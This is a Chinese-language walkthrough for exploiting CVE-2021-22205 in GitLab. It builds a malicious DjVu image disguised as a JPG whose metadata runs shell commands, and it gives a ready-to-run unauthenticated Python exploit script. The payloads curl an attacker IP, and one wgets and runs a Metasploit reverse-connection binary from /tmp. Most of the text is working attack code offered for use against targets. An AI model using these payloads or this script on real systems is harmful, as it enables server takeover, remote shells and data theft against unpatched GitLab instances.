说明:CVE-2021-22205是gitlab的一个RCE漏洞,允许用户在上传特定的文件图片时,执行系统命令。
环境:
Mac 电脑一台
安装djvumake命令
测试的GitLab版本:
11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3
开始-需要注册登录复现:
1.mac 命令行安装 djvumake
brew install djvulibre
2.创建一个test.txt 文本在桌面,内容如下
(metadata
(Copyright "\
" . qx{curl http://xxx.xxx.xxx.xxx:8899} . \
" b "))
3.使用djvumake命令压缩文本文件成图片
djvumake test.djvu INFO=0,0 BGjp=/dev/null ANTa=test.txt && mv test.djvu test.jpg
4.上传该图片到Gitlab,上传方式如下:

5.

附:
如果使用msf上线则需要修改test.txt 内容如下即可:
(metadata
(Copyright "\
" . qx{wget http://x.com/gitlab(msf的反向连接文件) -P /tmp/ && chmod +x /tmp/gitlab && /tmp/gitlab} . \
" b "))
开始-无需注册复现:
使用以下脚本CVE-2021-22205.py
import sys
import requests
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def POC(url, command):
session = requests.Session()
try:
r = session.get(url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
x = req.text
if flag in x:
print("success!!!")
else:
print("No Vuln!!!")
except Exception as e:
print(e)
if __name__ == '__main__':
POC(sys.argv[1], sys.argv[2])
这个使用起来就简单多了,命令如下:
python3 CVE-2021-22205.py http://www.xxx.com(gitlab目标) "curl http://www.xxx.com"(执行的命令)
Done